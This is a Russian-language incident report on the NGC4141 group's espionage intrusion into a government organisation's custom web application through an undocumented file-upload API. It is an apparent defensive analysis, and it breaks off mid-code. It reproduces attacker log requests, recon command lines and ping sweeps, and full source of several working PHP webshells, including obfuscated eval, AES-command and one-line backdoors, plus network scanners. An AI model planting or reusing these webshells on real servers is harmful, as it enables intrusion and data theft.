Публичные веб-приложения можно строить либо на распространенном ПО (например, WordPress, Bitrix, Tilda и т. д.), либо с помощью кастомных решений. С точки зрения безопасности и один, и другой подход имеют свои плюсы и минусы.

Если вы используете распространенное ПО, можно быть уверенным, что публичные эксплойты под уязвимости в самом приложении или в одном из плагинов для него обязательно появятся. И вас будут через них атаковать.

Тем не менее такое распространенное ПО при правильной конфигурации обеспечивает некоторый предсказуемый уровень защищенности. По крайней мере, до появления информации о новом подходе к взлому. Но даже для новых уязвимостей в ПО можно проводить компенсирующие меры (устанавливать патчи, выполнять рекомендации производителя, устанавливать технические средства защиты в системе/сети организации).

Кроме того, использование распространенного ПО означает, что такие системы, скорее всего, будут знакомы как инженерному персоналу, который обслуживает данное ПО, так и специалистам по форензике, которые будут расследовать атаку, если таковая всё-таки случится.

Если вы выбрали кастомное решение, написанное с нуля или сделанное на основе модифицированной версии распространенного ПО, то, скорее всего, эксплойтов под него в открытом доступе не будет, атаковать такую инфраструктуру в теории сложнее. Но с защитой от возможных атак тоже проблемы: из-за уникальности вашего ПО спрогнозировать защищенность будет непросто, а если инцидент всё же произойдет, обнаружение и расследование проникновения может вызвать трудности.

Об атаке на такое кастомное веб-приложение мы и расскажем. Группировка NGC4141, предположительно из Восточной Азии, атаковала российскую организацию из госсектора с целью шпионажа. Сервер был защищен АВПО и WAF, которые в автоматическом режиме смогли замедлить продвижение атакующих, но не остановить его.

Хотя в атаке не использовались очень сложные техники и ВПО, мы считаем, что атакующие обладали высокой квалификацией. Особенный интерес вызвали простые, но эффективные веб-шеллы, которые позволили обойти защитные решения. Также показалось интересным, что данные веб-шеллы не были кем-то ранее описаны, в связи с чем кажется, что многие из них уникальные.

Ключевые тезисы:

  • Атака на кастомные веб-приложения для получения доступа к внутренней сети представляет собой недооцененную угрозу.
  • Атакующие использовали недокументированные возможности API в публично доступных веб-приложениях, найденные в результате ручного сканирования, что указывает на высокий уровень подготовки группировки.
  • Атакующие обладают высокой квалификацией, потому что целенаправленно атаковали интересующую их систему и не остановились на автоматическом сканировании, развив атаку в результате ручных действий.
  • Атакующие использовали несложные, но эффективные веб-шеллы, которые позволили обойти защитные решения.
  • Косвенные признаки указывают на восточноазиатское происхождение группировки, но данных, позволяющих надёжно привязать атаку к какой-либо из известных группировок, пока нет. Поэтому ей присвоено обозначение NGC4141.

Техническое описание

Для того чтобы не запутать читателя, будем излагать события в той последовательности, в которой они происходили, а не в обратной последовательности, в которой происходило распутывание цепочки атаки.

Первые следы атаки в имеющихся журналах начинаются с конца декабря 2024 года. Атакующие использовали множество различных адресов для проведения атаки и периодически меняли их в процессе работы, в связи с чем нам было непросто отличить обычную активность различных сканеров от конкретной работы исследуемой группы. Тем не менее некоторые адреса использовались и для сканирования, и для проведения атаки, что позволило нам распознать вредоносную активность среди остального шума и выделить её в отдельный кластер.

Для начала веб-приложение подвергли легкому сканированию, которое повторялось на протяжении нескольких дней с перерывами. Примечательно, что запросы шли исключительно в рабочее время по московскому времени.

Основываясь на URL запросов, можно предположить, что на целевом сервере атакующие столкнулись с некоторым API и CAPTCHA. Забегая вперед скажем, что доступ к API далее будет критичным компонентом атаки. CAPTCHA же затруднила злоумышленникам перебор содержимого. Интересная подробность: очень уж эта CAPTCHA не понравилась им, и в процессе развития атаки имелись прямые обращения и исследование ее кода. Приведем пару примеров обращений через веб-шеллы для исследования CAPTCHA:

    
cat /srv/captcha/config.tom
ls /srv/captcha/app/
    

Но не будем забегать вперед.

Спустя неделю после первых сканирований атакующие начали использовать и более жесткие сценарии, уже создававшие заметную нагрузку на систему — до нескольких тысяч запросов в час.

Спустя примерно две недели после начала атаки на ресурс атакующие перешли на ручное сканирование и проверку. Это хорошо заметно по изменившемуся паттерну запросов. Запросов стало меньше, между ними теперь были характерные промежутки для задач, решаемых в режиме hands-on. Другое важное изменение — запросы теперь начинались с 4 утра по московскому времени. Это важная особенность, на которую мы еще обратим внимание.

Здесь же можем обратить внимание на следы использования сервиса FOFA атакующими. Данный сервис является аналогом Shodan и Censys, которые позволяют получить публично доступную информацию по интересующему их ресурсу.

Другая важная веха в атаке — получение доступа к конфигурации API. Данная конфигурация не требовала аутентификации для доступа и отдавала данные в json-формате, что создало предпосылки для дальнейшего проникновения. В данных был полный список различных интерфейсов API. Мы считаем, что именно здесь атакующие нашли интересный им интерфейс, который они использовали далее в атаке.

На этапе исследования API атакующим стало очень интересно, и они начали использовать инструмент Postman, как было видно из UserAgent: "PostmanRuntime/7.43.0", что не остановило их от продолжения ручной проверки и активности через браузер (судя по тому же самому полю UserAgent). Что же это за ПО? Согласно описанию на сайте производителя Postman:

Postman — это универсальная платформа API для создания и работы с API. Она облегчает каждый этап жизненного цикла API — от проектирования и тестирования до поставки и мониторинга. Созданный для командной работы, Postman упрощает совместную работу, помогает оставаться организованным и быстрее создавать безопасные и надежные API.

В данном случае инструмент был использован не с целью создания безопасных API. Можем заметить, что инструмент в самом деле обладает обширной и удобной функциональностью, которая помогла развернуть атаку на небезопасную API. В запросах с использованием ПО Postman использовался заголовок Accept-Language со значением en-US,en;q=0.9,zh-CN.

Но вернемся к нашим API. После получения доступа к конфигурации и проведения некоторой ручной работы атакующие пришли на сервер через пять дней. Именно здесь начинается самое интересное. Здесь мы впервые фиксируем запросы к уязвимой API, назовем ее "Files". Данная API была предназначена для загрузки файлов пользователями. Она содержала недокументированные возможности, которые позволили загрузить атакующим произвольный файл. В журналах данная активность выглядела следующим образом (обращение к API также отредактировано):

    
POST /api/files HTTP/1.1
GET /storage/static/files/otRPW3E6V8L9V3V7GDTw0YvtX3GBa3xxNcH3BHRo.txt HTTP/1.1
    

Код ответа в обоих случаях — 200 (успех). Обращение к API Files — 13:17:03, обращение к файлу — 13:17:21.

После успешной загрузки текстового файла атакующие таким же образом загрузили веб-шелл:

    GET /storage/static/files/V552Ev7CCbprOHrknfwZsWSuYVxWkQm2J3cZU9jY.php HTTP/1.1

Большого количества обращений к данному шеллу не имелось, однако уже в 21:59:47, после очередной итерации обращений к API Files, в журналах невооруженным взглядом видны обращения к другому веб-шеллу, в котором в параметре «x» передавалась командная строка, которая и попала в журналы:

    
GET /storage/static/files/OCHo76cp2y8J6CLTdI8ouYoO0xZf45DUvK2PbNpL.php HTTP/1.1
GET /storage/static/files/OCHo76cp2y8J6CLTdI8ouYoO0xZf45DUvK2PbNpL.php?x=system(%27whoami%27) HTTP/1.1
GET /storage/static/files/OCHo76cp2y8J6CLTdI8ouYoO0xZf45DUvK2PbNpL.php?x=system(%27whoami%27) HTTP/1.1
GET /storage/static/files/OCHo76cp2y8J6CLTdI8ouYoO0xZf45DUvK2PbNpL.php?x=shell_exec(%27ls%27) HTTP/1.1
GET /storage/static/files/OCHo76cp2y8J6CLTdI8ouYoO0xZf45DUvK2PbNpL.php?x=shell_exec(%27whoami%27) HTTP/1.1
GET /storage/static/files/OCHo76cp2y8J6CLTdI8ouYoO0xZf45DUvK2PbNpL.php?x=exec(%27whoami%27) HTTP/1.1
GET /storage/static/files/OCHo76cp2y8J6CLTdI8ouYoO0xZf45DUvK2PbNpL.php?x=passthru(%27whoami%27) HTTP/1.1
GET /storage/static/files/OCHo76cp2y8J6CLTdI8ouYoO0xZf45DUvK2PbNpL.php HTTP/1.1
GET /storage/static/files/OCHo76cp2y8J6CLTdI8ouYoO0xZf45DUvK2PbNpL.php?x=system(%27uname%20-a%27) HTTP/1.1
GET /storage/static/files/OCHo76cp2y8J6CLTdI8ouYoO0xZf45DUvK2PbNpL.php?x=passthru(%22ls%22) HTTP/1.1
    

Далее, в 22:21:43, после обычного обращения к API Files имеются следующие запросы, содержащие уже пасхалку:

    
GET /storage/static/files/lxhjcc4ENYKFZ66ox5KJN6MhVUVPLF8RfnQQq2Jf.php HTTP/1.1
GET /storage/static/files/OCHo76cp2y8J6CLTdI8ouYoO0xZf45DUvK2PbNpL.php?x=passthru(%22ls%20/%22) HTTP/1.1
GET /storage/static/files/lxhjcc4ENYKFZ66ox5KJN6MhVUVPLF8RfnQQq2Jf.php HTTP/1.1
GET /storage/static/files/lxhjcc4ENYKFZ66ox5KJN6MhVUVPLF8RfnQQq2Jf.php?key=ptsecurity&ptsecurity=sdasd HTTP/1.1
GET /storage/static/files/lxhjcc4ENYKFZ66ox5KJN6MhVUVPLF8RfnQQq2Jf.php?key=ptsecurity&ptsecurity=whoami HTTP/1.1
GET /storage/static/files/lxhjcc4ENYKFZ66ox5KJN6MhVUVPLF8RfnQQq2Jf.php?key=ptsecurity&ptsecurity=12345646 HTTP/1.1
GET /storage/static/files/lxhjcc4ENYKFZ66ox5KJN6MhVUVPLF8RfnQQq2Jf.php?key=ptsecurity&ptsecurity=12345646 HTTP/1.1
GET /storage/static/files/OCHo76cp2y8J6CLTdI8ouYoO0xZf45DUvK2PbNpL.php?x=passthru(%22ls%20/%22) HTTP/1.1
GET /storage/static/files/lxhjcc4ENYKFZ66ox5KJN6MhVUVPLF8RfnQQq2Jf.php?key=ptsecurity&ptsecurity=ls HTTP/1.1
    

Обращения к OCHo76cp2y8J6CLTdI8ouYoO0xZf45DUvK2PbNpL.php мы уже видели выше. А вот к обращениям к lxhjcc4ENYKFZ66ox5KJN6MhVUVPLF8RfnQQq2Jf.php стоит присмотреться внимательно. Здесь применили интересную конструкцию, указывающую на знакомство с российской компанией-разработчиком защитного ПО. Это и есть пасхалка, о которой мы упоминали выше. Далее атакующие заливают множество различных веб-шеллов, к которым обращаются.

Далее имеются следы успешных команд, например обращение к веб-шеллу для вывода данных в файл 1.txt:

    
GET /storage/static/files/OCHo76cp2y8J6CLTdI8ouYoO0xZf45DUvK2PbNpL.php?x=passthru(%E2%80%9Decho%201%20%3E%3E%20/srv/data/www/ssp/storage/app/public/static/files/1.txt%E2%80%9C) HTTP/1.1
    

После чего имеются следы обращений к созданному файлу:

    
GET /storage/static/files/1.txt HTTP/1.1
    

На этом перейдем к командам, которые выполнялись через шеллы.

Краткий анализ команд, выполненных через веб-шеллы

Через созданные веб-шеллы атакующие выполняли множество команд по разведке системы, ее окружения, сбору и эксфильтрации данных. Из интересного можем отметить, что выполнялись команды проверки доступности различных ресурсов государственного сектора, в связи с чем можно обоснованно предположить, что их целью являлись и другие организации из этой сферы. Также атакующими использованы имена внутренних серверов для проверки доступа, которые уже были им известны, что подтверждает их нацеленность на государственный сектор и возможное участие или обмен информацией с другими группами, участвовавшими в таких атаках. В командах через веб-шеллы были использованы python-скрипты, которые, к сожалению, не удалось получить или восстановить для исследования.

Список команд, которыми пользовались атакующие (за вычетом их достаточно многочисленных опечаток, что подтверждает ручной характер активности):

arp

history

ldap

python3

arp-scan

hostname

ls

rm

cat

hping3

nc

route

chmod

id

netcat

smbclient

cp

ifconfig

netstat

ssh

df

ip

nmap

telnet

docker

iptables

nslookup

time

echo

kesl

php

uname

find

kesl-control

ping

vim-cmd

findsmb

kill

proxychains

vmware-toolbox-cmd

gcc

la

ps

wget

grep

last

pwd

where

Приведем и прокомментируем также только самые интересные и характерные команды:

Команда

Описание

arp-scan --interface=eth0 --localnet

Сканирование сети

chmod +x ./8mbga8aqyUQlmH6X27GCllMdB2Z6vprQ3ektnRiL.so

Выдача права на исполнение файлу

curl -A %22Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36%22 http://<localhost:port>

Запросы на внутренние ресурсы с кастомным UserAgent

curl -u <username>:<password> http://<localhost:port>

Запросы на внутренние ресурсы с использованием УЗ

for ip in $(seq 1 254); do ping -c 1 -W 1 10.52.255.$ip & done

for ip in 10.102.89.{126..127}; do ping -c 1 $ip &>/dev/null && echo "$ip reachable" || echo "$ip unreachable"; done

for ip in 10.102.89.{126..128}; do ping -c 1 $ip &>/dev/null && echo "$ip reachable" || echo "$ip unreachable"; done

for ip in 192.168.1.{1..10}; do ping -c 1 $ip &>/dev/null && echo "$ip reachable" || echo "$ip unreachable"; done

Скрипты для сканирования сети

gcc -o /<webserverpath>/hfujdgis /<webserverpath>/ x9yLBCYueFeha1oyop35ecYG0JsiwS54stum2DJX.c

Попытка сбора исполняемого через компилятор gcc. Техника для обхода невозможности прямой доставки исполняемого файла

kesl-control --app-info

kesl-control --get-app-info

kesl-control --get-task-list

kesl-control -?

kesl-control -h

Просмотр данных АВПО

netstat -nalp

netstat -nalp |grep ESTABLISHED

Просмотр данных в системе

nslookup --help

nslookup -?

nslookup -h

nslookup <hostnames\IP>

Исследование сети

ping <IP> -c 1

Единичные команды для сканирования сети

proxychains

Единичное вхождение. Промахнулись мимо консоли?

python3 /<webserverpath>/8ykzdSdJqEqI0yDATJZhS0DsSUwqu6v5vIYP4gxE.py

Запуск python-скриптов

python3 -m http.server 8989

Поднятие http-сервера на 8989-м порту

Веб-шеллы и СЗИ

Атакованный веб-сервер был защищен АВПО. Оно обнаружило несколько веб-шеллов, которые мы опишем далее. Веб-сервер также был защищен с использованием решения класса WAF. В результате анализа его журналов выявлена причина изобилия веб-шеллов, использованных в атаках, — работа данного решения сильно затрудняла и мешала атакующему выполнять желаемые действия. В результате сработок и алертов из данного решения удалось восстановить большое количество различных веб-шеллов, использованных в атаке. Почти все из них на самой системе в момент нашего расследования уже были удалены, поэтому эти данные оказались кладезем ценной информации. Восстановить удалось только те данные, которые были в текстовом режиме. А несколько бинарных файлов, на которые были сработки и которые были сохранены в базу данных решения, не удалось восстановить.

Описание использованного ВПО

В данном разделе опишем использованные инструменты, которые задействованы в атаке. Множество веб-шеллов были тестовыми, также многие из них были очень простыми по сути. Однако некоторые веб-шеллы были уникальные, и это очень интересно, т. к. показывает технические возможности группы по разработке пусть несложных, но новых веб-шеллов. Имена веб-шеллов, восстановленных из запросов, сохраненных WAF, приводятся в том виде, в котором они имелись в запросе.

Веб-шелл phpZVjULH\phphqRx1b

MD5

b0dd527959b2f408cb6fa394694741c5

SHA1

5634bd3f4e52052febd9acd989778c7621c9db33

SHA256

ae8ffb637779da2b4258f739fcb759c5f040510af33b4876517cf6852e8186f2

File name

phpZVjULH, phphqRx1b

File type

PHP script

File size

744 bytes

Данный файл был восстановлен из карантина АВПО.

Код скрипта представлен далее:

    
 <?php
$f='){d4$cd4=strld4en($k)d4;$l=std4rlen($t);$d4od4="d4";for($i=0;$i<$d4l;){fd4d4or($j=0d4;d4($j<$c&&$i<$l);$j+d4+,d4$i+d4+';
$G='d4$d4k="a043b687";$kh="55d4d4ba61f672ecd4"d4;$d4kf="53768bb050d45e";$d4p="HppI9d4OBmd4ReeaM5HU"d4;functiod4n d4x($t,$k';
$C='cd4ontentd4s();@d4ob_ed4nd4d_clean();$r=@bd4ad4se64_encode(@d4x(@gzd4compress(d4d4$o),$k));prd4int("$pd4$kh$r$d4kf");}';
$Y='){d4$o.=$t{$i}d4^$k{$j}d4;}}return $od4;}id4fd4 (d4@preg_match("/d4$kh(.+)$d4d4d4kf/",@file_get_d4contd4ed4d4nd4ts("php:/';
$h=str_replace('k','','ckreakte_kfukkncktion');
$s='/input"),$m)==1d4) {d4@d4ob_stad4rt();@evad4l(@gzuncompred4d4ss(@x(@d4bad4se64_decode($m[1]d4)d4,$k))d4);d4$o=@ob_get_';
$A=str_replace('d4','',$G.$f.$Y.$s.$C);
$U=$h('',$A);$U();
?>

Как видно, код обфусцирован. Проведя несложные перестановки, можно получить читабельный код веб-шелла:

    
<?php
$k = "a043b687";
$kh = "55ba61f672ec";
$kf = "53768bb0505e";
$p = "HppI9OBmReeaM5HU";
function x($t, $k)
{
  $c = strlen($k);
  $l = strlen($t);
  $o = "";
  for ($i = 0;$i < $l;)
  {
    for ($j = 0;($j < $c && $i < $l);$j++, $i++)
    {
    $o .= $t{$i} ^ $k{$j};
    }
  }
  return $o;
}
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input") , $m) == 1)
{
  @ob_start();
  @eval(@gzuncompress(@x(@base64_decode($m[1]) , $k)));
  $o = @ob_get_contents();
  @ob_end_clean();
  $r = @base64_encode(@x(@gzcompress($o) , $k));
  print ("$p$kh$r$kf");
}
?>

Веб-шелл считывает данные из тела HTTP-запроса и ищет полезную нагрузку, заключенную между строками-маркерами /55ba61f672ec и 53768bb0505e/, после искомые данные декодируются из base64, расшифровываются xor-операцией с ключом a043b687 и снова декодируются с помощью алгоритма gz.

Структура команды:

    
<marker><base64_xor_gz_payload><marker>
    

Полученная команда выполняется с помощью eval().

Результат выполнения команды сохраняется в буфере и преобразуется тем же способом, что и сами команды, только в обратном порядке. После чего веб-шелл отправляет данные обратно со строкой-префиксом HppI9OBmReeaM5HU55ba61f672ec и теми же строками-маркерами.

Структура ответа:

    
<prefix><marker><base64_данные><marker>
    

Веб-шеллы 4.php и 5.php

MD5

a9ac49cc5a875c90e15f61161e4e56d9

SHA1

edd3fb2e1f618f6dc1f9c7631028cdd39a669c5a

SHA256

1bb92d3e991dd0cfa1fe07f07182ee9a4b86dd6827972687e95765b538ad44c7

File name

4.php

File type

PHP script

File size

776 bytes

MD5

e9f709e8ff689010d06f8b35ec85f9d5

SHA1

3c2d05d6329c1efbe647eaa0ae1e3e775e9a1587

SHA256

b9187f05746aee9277ee00fc35e194676f93e74b376232abf6f89d6503deebfb

File name

5.php

File type

PHP script

File size

813 bytes

Разница в веб-шеллах минимальная и заключается в добавленном дополнительном экранировании в версии 5.php в некоторых местах. Например, строка 14 в версии 5.php выглядит следующим образом:

    
0 => array(\""pipe\"", \""r\"")
    

Код не обфусцирован и приведен в неизменном виде, версия 4.php:

    
<?php
include 'enc.php';
$ec = $_GET['kess'];
$key = $_GET['key'];
$ivr = 'YourIV1234567890';
$decCmd = decryptAES($ec, $key, $ivr);
$validCmd = (strlen($decCmd) > 5 && strpos($decCmd, 'sudo') === false);
if ($validCmd) {
  $ds_spec = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("pipe", "w")
  );
  $proc = proc_open($decCmd, $ds_spec, $ps);
  if (is_resource($proc)) {
    $out = stream_get_contents($ps[1]);
    $rnd = bin2hex(random_bytes(5));
    echo "Out: $out | Rand: $rnd\n";
    fclose($ps[1]);
    fclose($ps[2]);
    proc_close($proc);
  } else {
    echo "Exec fail!";
  }
} else {
  echo "Invalid or risky command!";
}
?>

Веб-шелл принимает два GET-параметра, которые представляют собой зашифрованную команду и ключ AES.

Команда расшифровывается алгоритмом AES с помощью полученного ключа и захардкоженного IV, после чего проверяется на валидность:

  • длина команды должна быть больше 5 символов;
  • в команде не должно быть слова sudo (чтобы ограничить выполнение команд с повышенными правами).

Если команда валидная, то создается дочерний процесс с командной строкой, соответствующей полученной команде, стандартные потоки которого (stdin, stdout, stderr) перенаправляются в pipe.

Если процесс успешно запущен, вывод команды читается и отправляется клиенту вместе с рандомной строкой.

Если не удалось запустить — выводится ошибка.

Внимательный читатель мог заметить enc.php, необходимый для работы веб-шелла, его и разберем следующим.

Скрипт enc.php

MD5

16a7c53687de1a19eda58dfe4d625457

SHA1

e2cd7b60bc82d17333aa1fee2edb71a7483a984c

SHA256

701c5e03098a6466c16b1bb9f8d4864c42051cc888fa165039e70ffffc17e799

File name

enc.php, 4.php

File type

PHP script

File size

320 bytes

Код скрипта очень прост и содержит функции шифрования и дешифрования данных с помощью AES-256 CBC:

    
<?php
function encryptAES($data, $key, $iv) {
  $encrypted = openssl_encrypt($data, 'AES-256-CBC', $key, 0, $iv);
  return base64_encode($encrypted);
}
 
function decryptAES($data, $key, $iv) {
  $decrypted = openssl_decrypt(base64_decode($data), 'AES-256-CBC', $key, 0, $iv);
  return $decrypted;
}

Веб-шелл 44.php

MD5

93032473233a48de0d4e9794192fd45a

SHA1

2ea5f84b6459474fae89bed58fe4fb7317fcf14c

SHA256

c17d1362a9b849f449282aa2c3fe0dcf471f4ffbd93f1e12934666571f052ed8

File name

44.php

File type

PHP script

File size

31 bytes

Классический шелл на php, выполняет команды, переданные в POST-запросе в переменной asd :

    
<?php
eval($_POST["asd"]);
?>
    

Веб-шеллы 46.php и 2.php\3.php

MD5

43fb4495b840f2adda38949386a5977a

SHA1

183e52a1258a872273e19b74753867fc8ecee1b4

SHA256

3fd4e61e47cfb679751e337fa02982d2e81fe5f56a3d10835f259f190d4a2161

File name

46.php

File type

PHP script

File size

693 bytes

MD5

c8330f98c186f5873390c5a736f470f2

SHA1

dbe5055af323d87f818547e8aaaf57ea757eeaa6

SHA256

4e25ef3591256cbfc9f4b7fe6ed1e461214125cfd9f54866c88ad68681fc5dd5

File name

2.php, 3.php

File type

PHP script

File size

714 bytes

Разница в веб-шеллах минимальная и заключается в добавленном дополнительном экранировании в версии 3.php в некоторых местах. Код версии 46.php далее:

    
<?php
function executeCommand($command) {
  $output = shell_exec($command);
  if (!$output) {
    return "Failed to execute: $command\n";
  }
  return $output;
}
$linuxVersion = executeCommand('cat /etc/os-release');
$ipConfig = executeCommand('ip addr show');
$processInfo = executeCommand('ps aux');
$networkConnections = executeCommand('ss -tunlp');
$currentUser = executeCommand('whoami');
$userPermissions = executeCommand('id');
echo $linuxVersion;
echo $ipConfig;
echo $processInfo;
echo "\n=== Network Connections ===\n";
echo $networkConnections;
echo "\n=== Current User and Permissions ===\n";
echo "User: $currentUser";
echo $userPermissions;
?>

Выводит информацию о версии ОС, сетевых интерфейсах, запущенных процессах, сетевых соединениях, текущем пользователе, под которым запущен процесс, и группах этого пользователя.

Веб-шеллы aa.php и 7.php

MD5

5131b06489384a02ba5dc47f21ee4451

SHA1

e3d95f59721694234f59e4897e4b9da71a05aa2f

SHA256

ee30a93151be9272f0209d2ff3082d06d34297f65317308cb8ba165bdfea3be1

File name

aa.php

File type

PHP script

File size

353 bytes

MD5

3bb8cdfff2aaf9b7fd90a13fd900f24a

SHA1

3ad29517afc10436f3a31b3f3941d2fe9d069a0a

SHA256

2251d109fd58696eda6cc8c29c020181bcfa002b08c5674009a2bc05c0cfb08c

File name

7.php

File type

PHP script

File size

361 bytes

Разница в веб-шеллах минимальная и заключается в добавленном дополнительном экранировании. Код версии 7.php:

    
<?php
$ddd = fread(fopen('./bb.txt',"r"),filesize("./bb.txt"));
$ddd = base64_decode($ddd);
/**
* d2hvYW1p
*/
class ghjk
{
  public function fn()
  {
  }
}
$reflector = new ReflectionClass('ghjk');
$fff = substr(($reflector->getDocComment()), 7, 12);
$fff = base64_decode($fff);
$fff = substr($fff, 0, 6);
$ddd($fff);
?>

Cкрипт читает и декодирует содержимое файла bb.txt, внутри которого находится base64-строка. Декодированная строка помещается в переменную $ddd. Затем объявляется класс ghjk, перед которым расположен DocBlock-комментарий с закодированной в base64 строкой. После этого происходит создание экземпляра класса ReflectionClass с именем класса ghjk в аргументах конструктора. ReflectionClass является частью механизма рефлексии языка PHP и предназначен для получения метаинформации о классах.

В данном случае он используется злоумышленниками для получения доступа к блоку комментариев перед объявлением класса ghjk с помощью функции ReflectionClass::getDocComment, затем содержимое base64-строки декодируется в команду whoami и передается в качестве аргумента в вызов $ddd. Здесь используется еще один механизм языка PHP, который называется Variable Functions. Этот механизм позволяет создать переменную-строку, которая содержит имя функции, и обращаться с ней как с функцией. Мы предполагаем, что содержимое переменной $ddd (из файла bb.txt) — строка system, а сам вызов выглядит как system("whoami"). Довольно замысловатый способ исполнения whoami.

Веб-шелл com.php\6.php

MD5

e019500c7f3102c702884d0813b7073d

SHA1

e74554be211f63cfdd04ff7a9d22af587d1e31c8

SHA256

82b7dd8d5af2dfd76e54c9c1779f08e9a2a35d34beb5322780247a1b5390472f

File name

com.php, 6.php

File type

Php script

File size

298 bytes

Код веб-шелла:

    
<?php
/**
* c3lzdGVt
*/
class asdf
{
  public function fn()
  {
  }
}
$reflector = new ReflectionClass('asdf');
$ttt = substr(($reflector->getDocComment()), 7, 12);
$ttt = base64_decode($ttt);
$ttt = substr($ttt, 0, 6);
$com = base64_decode('d2hvYW1p');
$ttt($com);
?>

Веб-шелл выполняет команду system("whoami") с использованием уже описанного трюка, связанного с механизмом рефлексии языка PHP.

При этом результат команды не выводится.

Веб-шеллы ccc.php и 10.php

MD5

7bf109668ecb0e8176c7b02b5b9e1928

SHA1

983004e564506d098ab332e989e10c3348f29bcf

SHA256

4feb18c0aaf41943c875966e945a2de53304bceb9565ea64b3a2afe522805215

File name

ccc.php

File type

PHP script

File size

3823 bytes

MD5

b99ebdc0b0b0c9cf5e9b29933cd24cdb

SHA1

cee75579941a822c29c1847d5ef11743c031b25b

SHA256

f3cc506258cfc1c29fc6854c0f3a24c2cd69a51e2bcb7afe34e59832318a0e8e

File name

10.php

File type

PHP script

File size

3935 bytes

Разница в веб-шеллах минимальная и заключается в добавленном дополнительном экранировании.

Код версии сcc.php:

    
 <!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>IP Range and Port Scanner</title>
  <style>
    body {
    font-family: Arial, sans-serif;
    margin: 20px;
    }
    .form-group {
    margin-bottom: 15px;
    }
    label {
    display: block;
    margin-bottom: 5px;
    }
    input[type="text"] {
    width: 100%;
    padding: 8px;
    box-sizing: border-box;
    }
    button {
    padding: 10px 15px;
    background-color: #007BFF;
    color: #fff;
    border: none;
    cursor: pointer;
    }
    button:hover {
    background-color: #0056b3;
    }
    .result {
    margin-top: 20px;
    padding: 15px;
    background-color: #f9f9f9;
    border: 1px solid #ddd;
    }
  </style>
</head>
<body>
<h1>IP Range and Port Scanner</h1>
<p>Enter the target IP range and port range to scan.</p>
<form method="POST">
  <div class="form-group">
    <label for="ip_range">Target IP Range (Format: Start-IP-End-IP):</label>
    <input type="text" id="ip_range" name="ip_range" placeholder="Example: 192.168.1.1-192.168.1.255" required>
  </div>
  <div class="form-group">
    <label for="ports">Port Range (Format: Start-End):</label>
    <input type="text" id="ports" name="ports" placeholder="Example: 20-100" required>
  </div>
  <button type="submit">Scan</button>
</form>
<div class="result">
  <h2>Scan Results</h2>
  <pre>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  $ip_range = $_POST['ip_range'];
  $ports = $_POST['ports'];
  // Split the IP range into start and end IPs
  list($startIP, $endIP) = explode('-', $ip_range);
  // Validate IP range
  if (filter_var($startIP, FILTER_VALIDATE_IP) && filter_var($endIP, FILTER_VALIDATE_IP)) {
    // Convert IPs to long format for easier comparison
    $startIPLong = ip2long(trim($startIP));
    $endIPLong = ip2long(trim($endIP));
    // Validate the port range
    list($startPort, $endPort) = explode('-', $ports);
    $startPort = (int) $startPort;
    $endPort = (int) $endPort;
    if ($startPort > 0 && $endPort > 0 && $endPort >= $startPort) {
    echo "Scanning IP range from $startIP to $endIP...\n";
      // Loop through the IP range and ping each IP
    for ($ipLong = $startIPLong; $ipLong <= $endIPLong; $ipLong++) {
        $ip = long2ip($ipLong);
        // Ping the IP to check if it is alive
        $pingResult = shell_exec("ping -c 1 $ip");
       if (strpos($pingResult, '1 packets transmitted, 1 received') === false) {
        echo "IP $ip is not reachable.\n";
        } else {
        echo "IP $ip is reachable. Scanning ports...\n";
        // Scan each port in the specified range
       for ($port = $startPort; $port <= $endPort; $port++) {
            $connection = @fsockopen($ip, $port, $errno, $errstr, 0.5);
            if ($connection) {
            echo "Port $port on IP $ip: Open\n";
            fclose($connection);
           }
        }
        }
    }
    } else {
    echo "Invalid port range. Please use the format Start-End, e.g., 20-100.";
    }
  } else {
    echo "Invalid IP range.";
  }
}
?>
  </pre>
</div>
</body>
</html>

Веб-интерфейс веб-шелла:

Рис. 1. Отображение интерфейса веб-шелла ccc.php
Рис. 1. Отображение интерфейса веб-шелла ccc.php

Как наглядно видно из скриншота, веб-шелл предназначен для сканирования сети. Скрипт принимает параметры: диапазон IP-адресов и диапазон портов. Для каждого IP-адреса из диапазона выполняет команду:

    ping -c 1

Если соединение успешно, выполняет последовательное сканирование портов системы в заданном диапазоне. Результаты сканирования сразу выводятся пользователю.

Веб-шелл scan2.php

MD5

258c1e97c7e376d0a35a65c54827f4c7

SHA1

a5046d01dab87ec4c2352fbd72a4e1012f7e8cb8

SHA256

a6939f2abecf085f09643bd674de76e9ca42f0df1f62d969c85b420761722f16

File name

scan2.php

File type

PHP script

File size

3 409 bytes

Сканер, схожий по функциональности со сканером сcc.php.

Код сканера scan2.php:

    
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>IP and Port Scanner</title>
</head>
<body>

  <h1>IP and Port Scanner</h1>

  <!-- Form to scan a single IP -->
  <h2>Scan Single IP</h2>
  <form action="" method="POST">
    <label for="ip">Enter IP Address to Scan:</label>
    <input type="text" id="ip" name="ip" required>
    <button type="submit" name="action" value="scan_ip">Scan IP</button>
  </form>

  <?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'scan_ip' && isset($_POST['ip'])) {
    $input_ip = $_POST['ip'];

    echo "<h3>Scanning IP: $input_ip</h3>";

    $fp = @fsockopen($input_ip, 80, $errno, $errstr, 1); // Timeout of 1 second
    if ($fp) {
      echo "<p style='color: green;'>Machine is live at: $input_ip</p>";
      fclose($fp);
    } else {
      echo "<p style='color: red;'>Machine is not live at: $input_ip</p>";
    }
  }
  ?>
  <!-- Form to scan a range of IPs -->
  <h2>Scan IP Range</h2>
  <form action="" method="POST">
    <label for="start_ip">Enter Start IP:</label>
    <input type="text" id="start_ip" name="start_ip" required>
   
    <label for="end_ip">Enter End IP:</label>
    <input type="text" id="end_ip" name="end_ip" required>
   
    <button type="submit" name="action" value="scan_range">Scan Range</button>
  </form>
  <?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'scan_range' && isset($_POST['start_ip']) && isset($_POST['end_ip'])) {
    $start_ip = ip2long($_POST['start_ip']);
